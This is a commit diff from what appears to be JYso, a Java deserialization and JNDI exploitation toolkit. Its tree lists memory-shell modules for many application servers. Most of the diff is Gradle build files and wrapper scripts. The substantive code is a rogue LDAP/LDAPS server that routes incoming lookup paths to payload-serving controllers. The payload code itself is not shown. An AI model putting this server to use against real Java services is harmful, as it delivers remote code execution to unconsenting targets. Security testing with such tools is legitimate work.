│ ├─Agent Agent注入逻辑
│ │ └─utli
│ ├─echo 回显类
│ └─memshell 内存shell逻辑
│ ├─BypassNginxCDN
│ ├─jboss
│ ├─jetty
│ ├─resin
│ ├─shell
│ ├─spring
│ ├─struts2
│ ├─tomcat
│ ├─Tomcat_Spring_Jetty
│ ├─weblogic
│ └─Websphere
└─test
└─java
+9 -9
View File
@@ -1,10 +1,10 @@
# This file was generated by the Gradle 'init' task.
# https://docs.gradle.org/current/userguide/platforms.html#sub::toml-dependencies-format
[versions]
org-apache-tomcat-tomcat-websocket = "9.0.62"
org-aspectj-aspectjweaver = "1.9.7"
[libraries]
org-apache-tomcat-tomcat-websocket = { module = "org.apache.tomcat:tomcat-websocket", version.ref = "org-apache-tomcat-tomcat-websocket" }
# This file was generated by the Gradle 'init' task.
# https://docs.gradle.org/current/userguide/platforms.html#sub::toml-dependencies-format
[versions]
org-apache-tomcat-tomcat-websocket = "9.0.62"
org-aspectj-aspectjweaver = "1.9.7"
[libraries]
org-apache-tomcat-tomcat-websocket = { module = "org.apache.tomcat:tomcat-websocket", version.ref = "org-apache-tomcat-tomcat-websocket" }
org-aspectj-aspectjweaver = { module = "org.aspectj:aspectjweaver", version.ref = "org-aspectj-aspectjweaver" }
+2 -3
View File
@@ -1,7 +1,6 @@
#Thu Apr 23 23:23:32 CST 2026
distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
distributionUrl=https\://services.gradle.org/distributions/gradle-8.7-bin.zip
networkTimeout=10000
validateDistributionUrl=true
distributionUrl=https\://services.gradle.org/distributions/gradle-8.14.4-bin.zip
zipStoreBase=GRADLE_USER_HOME
zipStorePath=wrapper/dists
Vendored
+249 -249
View File
@@ -1,249 +1,249 @@
#!/bin/sh
#
# Copyright © 2015-2021 the original authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
##############################################################################
#
# Gradle start up script for POSIX generated by Gradle.
#
# Important for running:
#
# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is
# noncompliant, but you have some other compliant shell such as ksh or
# bash, then to run this script, type that shell name before the whole
# command line, like:
#
# ksh Gradle
#
# Busybox and similar reduced shells will NOT work, because this script
# requires all of these POSIX shell features:
# * functions;
# * expansions «$var», «${var}», «${var:-default}», «${var+SET}»,
# «${var#prefix}», «${var%suffix}», and «$( cmd )»;
# * compound commands having a testable exit status, especially «case»;
# * various built-in commands including «command», «set», and «ulimit».
#
# Important for patching:
#
# (2) This script targets any POSIX shell, so it avoids extensions provided
# by Bash, Ksh, etc; in particular arrays are avoided.
#
# The "traditional" practice of packing multiple parameters into a
# space-separated string is a well documented source of bugs and security
# problems, so this is (mostly) avoided, by progressively accumulating
# options in "$@", and eventually passing that to Java.
#
# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS,
# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly;
# see the in-line comments for details.
#
# There are tweaks for specific operating systems such as AIX, CygWin,
# Darwin, MinGW, and NonStop.
#
# (3) This script is generated from the Groovy template
# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt
# within the Gradle project.
#
# You can find Gradle at https://github.com/gradle/gradle/.
#
##############################################################################
# Attempt to set APP_HOME
# Resolve links: $0 may be a link
app_path=$0
# Need this for daisy-chained symlinks.
while
APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path
[ -h "$app_path" ]
do
ls=$( ls -ld "$app_path" )
link=${ls#*' -> '}
case $link in #(
/*) app_path=$link ;; #(
*) app_path=$APP_HOME$link ;;
esac
done
# This is normally unused
# shellcheck disable=SC2034
APP_BASE_NAME=${0##*/}
# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036)
APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit
# Use the maximum available, or set MAX_FD != -1 to use that value.
MAX_FD=maximum
warn () {
echo "$*"
} >&2
die () {
echo
echo "$*"
echo
exit 1
} >&2
# OS specific support (must be 'true' or 'false').
cygwin=false
msys=false
darwin=false
nonstop=false
case "$( uname )" in #(
CYGWIN* ) cygwin=true ;; #(
Darwin* ) darwin=true ;; #(
MSYS* | MINGW* ) msys=true ;; #(
NONSTOP* ) nonstop=true ;;
esac
CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
# Determine the Java command to use to start the JVM.
if [ -n "$JAVA_HOME" ] ; then
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
# IBM's JDK on AIX uses strange locations for the executables
JAVACMD=$JAVA_HOME/jre/sh/java
else
JAVACMD=$JAVA_HOME/bin/java
fi
if [ ! -x "$JAVACMD" ] ; then
die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
Please set the JAVA_HOME variable in your environment to match the
location of your Java installation."
fi
else
JAVACMD=java
if ! command -v java >/dev/null 2>&1
then
die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
Please set the JAVA_HOME variable in your environment to match the
location of your Java installation."
fi
fi
# Increase the maximum file descriptors if we can.
if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then
case $MAX_FD in #(
max*)
# In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked.
# shellcheck disable=SC2039,SC3045
MAX_FD=$( ulimit -H -n ) ||
warn "Could not query maximum file descriptor limit"
esac
case $MAX_FD in #(
'' | soft) :;; #(
*)
# In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked.
# shellcheck disable=SC2039,SC3045
ulimit -n "$MAX_FD" ||
warn "Could not set maximum file descriptor limit to $MAX_FD"
esac
fi
# Collect all arguments for the java command, stacking in reverse order:
# * args from the command line
# * the main class name
# * -classpath
# * -D...appname settings
# * --module-path (only if needed)
# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables.
# For Cygwin or MSYS, switch paths to Windows format before running java
if "$cygwin" || "$msys" ; then
APP_HOME=$( cygpath --path --mixed "$APP_HOME" )
CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" )
JAVACMD=$( cygpath --unix "$JAVACMD" )
# Now convert the arguments - kludge to limit ourselves to /bin/sh
for arg do
if
case $arg in #(
-*) false ;; # don't mess with options #(
/?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath
[ -e "$t" ] ;; #(
*) false ;;
esac
then
arg=$( cygpath --path --ignore --mixed "$arg" )
fi
# Roll the args list around exactly as many times as the number of
# args, so each arg winds up back in the position where it started, but
# possibly modified.
#
# NB: a `for` loop captures its iteration list before it begins, so
# changing the positional parameters here affects neither the number of
# iterations, nor the values presented in `arg`.
shift # remove old arg
set -- "$@" "$arg" # push replacement arg
done
fi
# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
# Collect all arguments for the java command:
# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments,
# and any embedded shellness will be escaped.
# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be
# treated as '${Hostname}' itself on the command line.
set -- \
"-Dorg.gradle.appname=$APP_BASE_NAME" \
-classpath "$CLASSPATH" \
org.gradle.wrapper.GradleWrapperMain \
"$@"
# Stop when "xargs" is not available.
if ! command -v xargs >/dev/null 2>&1
then
die "xargs is not available"
fi
# Use "xargs" to parse quoted args.
#
# With -n1 it outputs one arg per line, with the quotes and backslashes removed.
#
# In Bash we could simply go:
#
# readarray ARGS < <( xargs -n1 <<<"$var" ) &&
# set -- "${ARGS[@]}" "$@"
#
# but POSIX shell has neither arrays nor command substitution, so instead we
# post-process each arg (as a line of input to sed) to backslash-escape any
# character that might be a shell metacharacter, then use eval to reverse
# that process (while maintaining the separation between arguments), and wrap
# the whole thing up as a single "set" statement.
#
# This will of course break if any of these variables contains a newline or
# an unmatched quote.
#
eval "set -- $(
printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" |
xargs -n1 |
sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' |
tr '\n' ' '
)" '"$@"'
exec "$JAVACMD" "$@"
#!/bin/sh
#
# Copyright © 2015-2021 the original authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
##############################################################################
#
# Gradle start up script for POSIX generated by Gradle.
#
# Important for running:
#
# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is
# noncompliant, but you have some other compliant shell such as ksh or
# bash, then to run this script, type that shell name before the whole
# command line, like:
#
# ksh Gradle
#
# Busybox and similar reduced shells will NOT work, because this script
# requires all of these POSIX shell features:
# * functions;
# * expansions «$var», «${var}», «${var:-default}», «${var+SET}»,
# «${var#prefix}», «${var%suffix}», and «$( cmd )»;
# * compound commands having a testable exit status, especially «case»;
# * various built-in commands including «command», «set», and «ulimit».
#
# Important for patching:
#
# (2) This script targets any POSIX shell, so it avoids extensions provided
# by Bash, Ksh, etc; in particular arrays are avoided.
#
# The "traditional" practice of packing multiple parameters into a
# space-separated string is a well documented source of bugs and security
# problems, so this is (mostly) avoided, by progressively accumulating
# options in "$@", and eventually passing that to Java.
#
# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS,
# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly;
# see the in-line comments for details.
#
# There are tweaks for specific operating systems such as AIX, CygWin,
# Darwin, MinGW, and NonStop.
#
# (3) This script is generated from the Groovy template
# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt
# within the Gradle project.
#
# You can find Gradle at https://github.com/gradle/gradle/.
#
##############################################################################
# Attempt to set APP_HOME
# Resolve links: $0 may be a link
app_path=$0
# Need this for daisy-chained symlinks.
while
APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path
[ -h "$app_path" ]
do
ls=$( ls -ld "$app_path" )
link=${ls#*' -> '}
case $link in #(
/*) app_path=$link ;; #(
*) app_path=$APP_HOME$link ;;
esac
done
# This is normally unused
# shellcheck disable=SC2034
APP_BASE_NAME=${0##*/}
# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036)
APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit
# Use the maximum available, or set MAX_FD != -1 to use that value.
MAX_FD=maximum
warn () {
echo "$*"
} >&2
die () {
echo
echo "$*"
echo
exit 1
} >&2
# OS specific support (must be 'true' or 'false').
cygwin=false
msys=false
darwin=false
nonstop=false
case "$( uname )" in #(
CYGWIN* ) cygwin=true ;; #(
Darwin* ) darwin=true ;; #(
MSYS* | MINGW* ) msys=true ;; #(
NONSTOP* ) nonstop=true ;;
esac
CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
# Determine the Java command to use to start the JVM.
if [ -n "$JAVA_HOME" ] ; then
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
# IBM's JDK on AIX uses strange locations for the executables
JAVACMD=$JAVA_HOME/jre/sh/java
else
JAVACMD=$JAVA_HOME/bin/java
fi
if [ ! -x "$JAVACMD" ] ; then
die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
Please set the JAVA_HOME variable in your environment to match the
location of your Java installation."
fi
else
JAVACMD=java
if ! command -v java >/dev/null 2>&1
then
die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
Please set the JAVA_HOME variable in your environment to match the
location of your Java installation."
fi
fi
# Increase the maximum file descriptors if we can.
if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then
case $MAX_FD in #(
max*)
# In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked.
# shellcheck disable=SC2039,SC3045
MAX_FD=$( ulimit -H -n ) ||
warn "Could not query maximum file descriptor limit"
esac
case $MAX_FD in #(
'' | soft) :;; #(
*)
# In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked.
# shellcheck disable=SC2039,SC3045
ulimit -n "$MAX_FD" ||
warn "Could not set maximum file descriptor limit to $MAX_FD"
esac
fi
# Collect all arguments for the java command, stacking in reverse order:
# * args from the command line
# * the main class name
# * -classpath
# * -D...appname settings
# * --module-path (only if needed)
# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables.
# For Cygwin or MSYS, switch paths to Windows format before running java
if "$cygwin" || "$msys" ; then
APP_HOME=$( cygpath --path --mixed "$APP_HOME" )
CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" )
JAVACMD=$( cygpath --unix "$JAVACMD" )
# Now convert the arguments - kludge to limit ourselves to /bin/sh
for arg do
if
case $arg in #(
-*) false ;; # don't mess with options #(
/?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath
[ -e "$t" ] ;; #(
*) false ;;
esac
then
arg=$( cygpath --path --ignore --mixed "$arg" )
fi
# Roll the args list around exactly as many times as the number of
# args, so each arg winds up back in the position where it started, but
# possibly modified.
#
# NB: a `for` loop captures its iteration list before it begins, so
# changing the positional parameters here affects neither the number of
# iterations, nor the values presented in `arg`.
shift # remove old arg
set -- "$@" "$arg" # push replacement arg
done
fi
# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
# Collect all arguments for the java command:
# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments,
# and any embedded shellness will be escaped.
# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be
# treated as '${Hostname}' itself on the command line.
set -- \
"-Dorg.gradle.appname=$APP_BASE_NAME" \
-classpath "$CLASSPATH" \
org.gradle.wrapper.GradleWrapperMain \
"$@"
# Stop when "xargs" is not available.
if ! command -v xargs >/dev/null 2>&1
then
die "xargs is not available"
fi
# Use "xargs" to parse quoted args.
#
# With -n1 it outputs one arg per line, with the quotes and backslashes removed.
#
# In Bash we could simply go:
#
# readarray ARGS < <( xargs -n1 <<<"$var" ) &&
# set -- "${ARGS[@]}" "$@"
#
# but POSIX shell has neither arrays nor command substitution, so instead we
# post-process each arg (as a line of input to sed) to backslash-escape any
# character that might be a shell metacharacter, then use eval to reverse
# that process (while maintaining the separation between arguments), and wrap
# the whole thing up as a single "set" statement.
#
# This will of course break if any of these variables contains a newline or
# an unmatched quote.
#
eval "set -- $(
printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" |
xargs -n1 |
sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' |
tr '\n' ' '
)" '"$@"'
exec "$JAVACMD" "$@"
Vendored
+92 -92
View File
@@ -1,92 +1,92 @@
@rem
@rem Copyright 2015 the original author or authors.
@rem
@rem Licensed under the Apache License, Version 2.0 (the "License");
@rem you may not use this file except in compliance with the License.
@rem You may obtain a copy of the License at
@rem
@rem https://www.apache.org/licenses/LICENSE-2.0
@rem
@rem Unless required by applicable law or agreed to in writing, software
@rem distributed under the License is distributed on an "AS IS" BASIS,
@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
@rem See the License for the specific language governing permissions and
@rem limitations under the License.
@rem
@if "%DEBUG%"=="" @echo off
@rem ##########################################################################
@rem
@rem Gradle startup script for Windows
@rem
@rem ##########################################################################
@rem Set local scope for the variables with windows NT shell
if "%OS%"=="Windows_NT" setlocal
set DIRNAME=%~dp0
if "%DIRNAME%"=="" set DIRNAME=.
@rem This is normally unused
set APP_BASE_NAME=%~n0
set APP_HOME=%DIRNAME%
@rem Resolve any "." and ".." in APP_HOME to make it shorter.
for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi
@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m"
@rem Find java.exe
if defined JAVA_HOME goto findJavaFromJavaHome
set JAVA_EXE=java.exe
%JAVA_EXE% -version >NUL 2>&1
if %ERRORLEVEL% equ 0 goto execute
echo. 1>&2
echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2
echo. 1>&2
echo Please set the JAVA_HOME variable in your environment to match the 1>&2
echo location of your Java installation. 1>&2
goto fail
:findJavaFromJavaHome
set JAVA_HOME=%JAVA_HOME:"=%
set JAVA_EXE=%JAVA_HOME%/bin/java.exe
if exist "%JAVA_EXE%" goto execute
echo. 1>&2
echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2
echo. 1>&2
echo Please set the JAVA_HOME variable in your environment to match the 1>&2
echo location of your Java installation. 1>&2
goto fail
:execute
@rem Setup the command line
set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
@rem Execute Gradle
"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %*
:end
@rem End local scope for the variables with windows NT shell
if %ERRORLEVEL% equ 0 goto mainEnd
:fail
rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
rem the _cmd.exe /c_ return code!
set EXIT_CODE=%ERRORLEVEL%
if %EXIT_CODE% equ 0 set EXIT_CODE=1
if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE%
exit /b %EXIT_CODE%
:mainEnd
if "%OS%"=="Windows_NT" endlocal
:omega
@rem
@rem Copyright 2015 the original author or authors.
@rem
@rem Licensed under the Apache License, Version 2.0 (the "License");
@rem you may not use this file except in compliance with the License.
@rem You may obtain a copy of the License at
@rem
@rem https://www.apache.org/licenses/LICENSE-2.0
@rem
@rem Unless required by applicable law or agreed to in writing, software
@rem distributed under the License is distributed on an "AS IS" BASIS,
@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
@rem See the License for the specific language governing permissions and
@rem limitations under the License.
@rem
@if "%DEBUG%"=="" @echo off
@rem ##########################################################################
@rem
@rem Gradle startup script for Windows
@rem
@rem ##########################################################################
@rem Set local scope for the variables with windows NT shell
if "%OS%"=="Windows_NT" setlocal
set DIRNAME=%~dp0
if "%DIRNAME%"=="" set DIRNAME=.
@rem This is normally unused
set APP_BASE_NAME=%~n0
set APP_HOME=%DIRNAME%
@rem Resolve any "." and ".." in APP_HOME to make it shorter.
for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi
@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m"
@rem Find java.exe
if defined JAVA_HOME goto findJavaFromJavaHome
set JAVA_EXE=java.exe
%JAVA_EXE% -version >NUL 2>&1
if %ERRORLEVEL% equ 0 goto execute
echo. 1>&2
echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2
echo. 1>&2
echo Please set the JAVA_HOME variable in your environment to match the 1>&2
echo location of your Java installation. 1>&2
goto fail
:findJavaFromJavaHome
set JAVA_HOME=%JAVA_HOME:"=%
set JAVA_EXE=%JAVA_HOME%/bin/java.exe
if exist "%JAVA_EXE%" goto execute
echo. 1>&2
echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2
echo. 1>&2
echo Please set the JAVA_HOME variable in your environment to match the 1>&2
echo location of your Java installation. 1>&2
goto fail
:execute
@rem Setup the command line
set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
@rem Execute Gradle
"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %*
:end
@rem End local scope for the variables with windows NT shell
if %ERRORLEVEL% equ 0 goto mainEnd
:fail
rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
rem the _cmd.exe /c_ return code!
set EXIT_CODE=%ERRORLEVEL%
if %EXIT_CODE% equ 0 set EXIT_CODE=1
if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE%
exit /b %EXIT_CODE%
:mainEnd
if "%OS%"=="Windows_NT" endlocal
:omega
+1 -1
View File
@@ -1 +1 @@
rootProject.name = 'JYso'
rootProject.name = 'JYso'
File diff suppressed because it is too large Load Diff
+121 -121
View File
@@ -1,122 +1,122 @@
package com.qi4l.JYso;
import com.qi4l.JYso.controllers.LdapController;
import com.qi4l.JYso.controllers.LdapMapping;
import com.qi4l.JYso.controllers.utils.JNDIUtils;
import com.qi4l.JYso.gadgets.Config.Config;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import org.reflections.Reflections;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.lang.reflect.Constructor;
import java.net.InetAddress;
import java.util.Set;
import java.util.TreeMap;
import static com.qi4l.JYso.gadgets.Config.Config.*;
import static com.qi4l.JYso.gadgets.utils.Utils.base64Decode;
import static org.fusesource.jansi.Ansi.ansi;
public class LdapServer extends InMemoryOperationInterceptor {
public static TreeMap<String, LdapController> routes = new TreeMap<>();
public LdapServer() throws Exception {
//find all classes annotated with @LdapMapping
Set<Class<?>> controllers = new Reflections(this.getClass().getPackage().getName())
.getTypesAnnotatedWith(LdapMapping.class);
//instantiate them and store in the routes map
for (Class<?> controller : controllers) {
Constructor<?> cons = controller.getConstructor();
LdapController instance = (LdapController) cons.newInstance();
String[] mappings = controller.getAnnotation(LdapMapping.class).uri();
for (String mapping : mappings) {
if (mapping.startsWith("/")) {
mapping = mapping.substring(1); //remove first forward slash
routes.put(mapping, instance);
}
}
}
}
public static void start() {
try {
InMemoryDirectoryServerConfig serverConfig = new InMemoryDirectoryServerConfig("dc=example,dc=com");
serverConfig.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
Config.ldapPort,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
if (!USER.equals("") || !PASSWD.equals("")) {
serverConfig.addAdditionalBindCredentials(USER, PASSWD);
}
//添加操作拦截器
//将提供的操作拦截器添加到操作拦截器列表中,该列表可用于在请求被内存目录服务器处理之前转换请求,和/或在响应返回给客户端之前转换响应。
serverConfig.addInMemoryOperationInterceptor(new LdapServer());
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(serverConfig);
ds.startListening();
System.out.println(ansi().render("@|green [+]|@ LDAP Server Start Listening on >> " + Config.ldapPort + "..."));
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base;
if (!ROUTE.equals("")) {
base = ROUTE;
} else {
base = result.getRequest().getBaseDN();
}
try {
if (!AESkey.equals("123")) {
base = base64Decode(base);
base = JNDIUtils.decrypt(base, AESkey);
}
} catch (Exception AESerr) {
}
//收到ldap请求
//System.out.println(ansi().render("@|green [+] Received LDAP Query : |@" + base));
LdapController controller = null;
//find controller
//根据请求的路径从route中匹配相应的controller
for (String key : routes.keySet()) {
//compare using wildcard at the end
if (base.toLowerCase().startsWith(key)) {
controller = routes.get(key);
break;
}
}
if (controller == null) {
System.out.println(ansi().render("@|red [!] Invalid LDAP Query >> |@" + base));
return;
}
try {
//从控制器中进行返回
controller.process(base);
controller.sendResult(result, base);
} catch (Exception e1) {
System.out.println(ansi().render("@|red [!] Exception >> |@" + e1.getMessage()));
}
}
package com.qi4l.JYso;
import com.qi4l.JYso.controllers.LdapController;
import com.qi4l.JYso.controllers.LdapMapping;
import com.qi4l.JYso.controllers.utils.JNDIUtils;
import com.qi4l.JYso.gadgets.Config.Config;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import org.reflections.Reflections;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.lang.reflect.Constructor;
import java.net.InetAddress;
import java.util.Set;
import java.util.TreeMap;
import static com.qi4l.JYso.gadgets.Config.Config.*;
import static com.qi4l.JYso.gadgets.utils.Utils.base64Decode;
import static org.fusesource.jansi.Ansi.ansi;
public class LdapServer extends InMemoryOperationInterceptor {
public static TreeMap<String, LdapController> routes = new TreeMap<>();
public LdapServer() throws Exception {
//find all classes annotated with @LdapMapping
Set<Class<?>> controllers = new Reflections(this.getClass().getPackage().getName())
.getTypesAnnotatedWith(LdapMapping.class);
//instantiate them and store in the routes map
for (Class<?> controller : controllers) {
Constructor<?> cons = controller.getConstructor();
LdapController instance = (LdapController) cons.newInstance();
String[] mappings = controller.getAnnotation(LdapMapping.class).uri();
for (String mapping : mappings) {
if (mapping.startsWith("/")) {
mapping = mapping.substring(1); //remove first forward slash
routes.put(mapping, instance);
}
}
}
}
public static void start() {
try {
InMemoryDirectoryServerConfig serverConfig = new InMemoryDirectoryServerConfig("dc=example,dc=com");
serverConfig.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
Config.ldapPort,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
if (!USER.equals("") || !PASSWD.equals("")) {
serverConfig.addAdditionalBindCredentials(USER, PASSWD);
}
//添加操作拦截器
//将提供的操作拦截器添加到操作拦截器列表中,该列表可用于在请求被内存目录服务器处理之前转换请求,和/或在响应返回给客户端之前转换响应。
serverConfig.addInMemoryOperationInterceptor(new LdapServer());
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(serverConfig);
ds.startListening();
System.out.println(ansi().render("@|green [+]|@ LDAP Server Start Listening on >> " + Config.ldapPort + "..."));
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base;
if (!ROUTE.equals("")) {
base = ROUTE;
} else {
base = result.getRequest().getBaseDN();
}
try {
if (!AESkey.equals("123")) {
base = base64Decode(base);
base = JNDIUtils.decrypt(base, AESkey);
}
} catch (Exception AESerr) {
}
//收到ldap请求
//System.out.println(ansi().render("@|green [+] Received LDAP Query : |@" + base));
LdapController controller = null;
//find controller
//根据请求的路径从route中匹配相应的controller
for (String key : routes.keySet()) {
//compare using wildcard at the end
if (base.toLowerCase().startsWith(key)) {
controller = routes.get(key);
break;
}
}
if (controller == null) {
System.out.println(ansi().render("@|red [!] Invalid LDAP Query >> |@" + base));
return;
}
try {
//从控制器中进行返回
controller.process(base);
controller.sendResult(result, base);
} catch (Exception e1) {
System.out.println(ansi().render("@|red [!] Exception >> |@" + e1.getMessage()));
}
}
}
+58 -58
View File
@@ -1,59 +1,59 @@
package com.qi4l.JYso;
import com.qi4l.JYso.gadgets.Config.Config;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.util.ssl.KeyStoreKeyManager;
import com.unboundid.util.ssl.SSLUtil;
import com.unboundid.util.ssl.TrustAllTrustManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
import static org.fusesource.jansi.Ansi.ansi;
public class LdapsServer {
private static final Logger log = LogManager.getLogger(LdapsServer.class);
private final String certFile;
private final String keyPass;
public LdapsServer(String certFile, String keyPass) {
this.certFile = certFile;
this.keyPass = keyPass;
}
public static void start() {
System.out.println(ansi().render("@|green [+]|@ LDAPS Server Start Listening on >> " + Config.ldapsPort + "..."));
new LdapsServer(Config.certFile, Config.keyPass).run();
}
public void run() {
// 设置JDK信任证书
System.setProperty("javax.net.ssl.trustStore", certFile);
System.setProperty("javax.net.ssl.trustStorePassword", keyPass);
try {
SSLUtil serverSSLUtil = new SSLUtil(
new KeyStoreKeyManager(certFile, keyPass.toCharArray()),
new TrustAllTrustManager()
);
SSLUtil clientSSLUtil = new SSLUtil(new TrustAllTrustManager());
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
config.setListenerConfigs(InMemoryListenerConfig.createLDAPSConfig(
"listen-ldaps",
null,
Integer.parseInt(String.valueOf(Config.ldapsPort)),
serverSSLUtil.createSSLServerSocketFactory(),
clientSSLUtil.createSSLSocketFactory()
));
config.addInMemoryOperationInterceptor(new LdapServer());
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
ds.startListening();
System.out.println(ansi().render("@|green [+]|@ LDAPS Server Start Listening on >> " + Config.ldapsPort + "..."));
} catch (Exception e) {
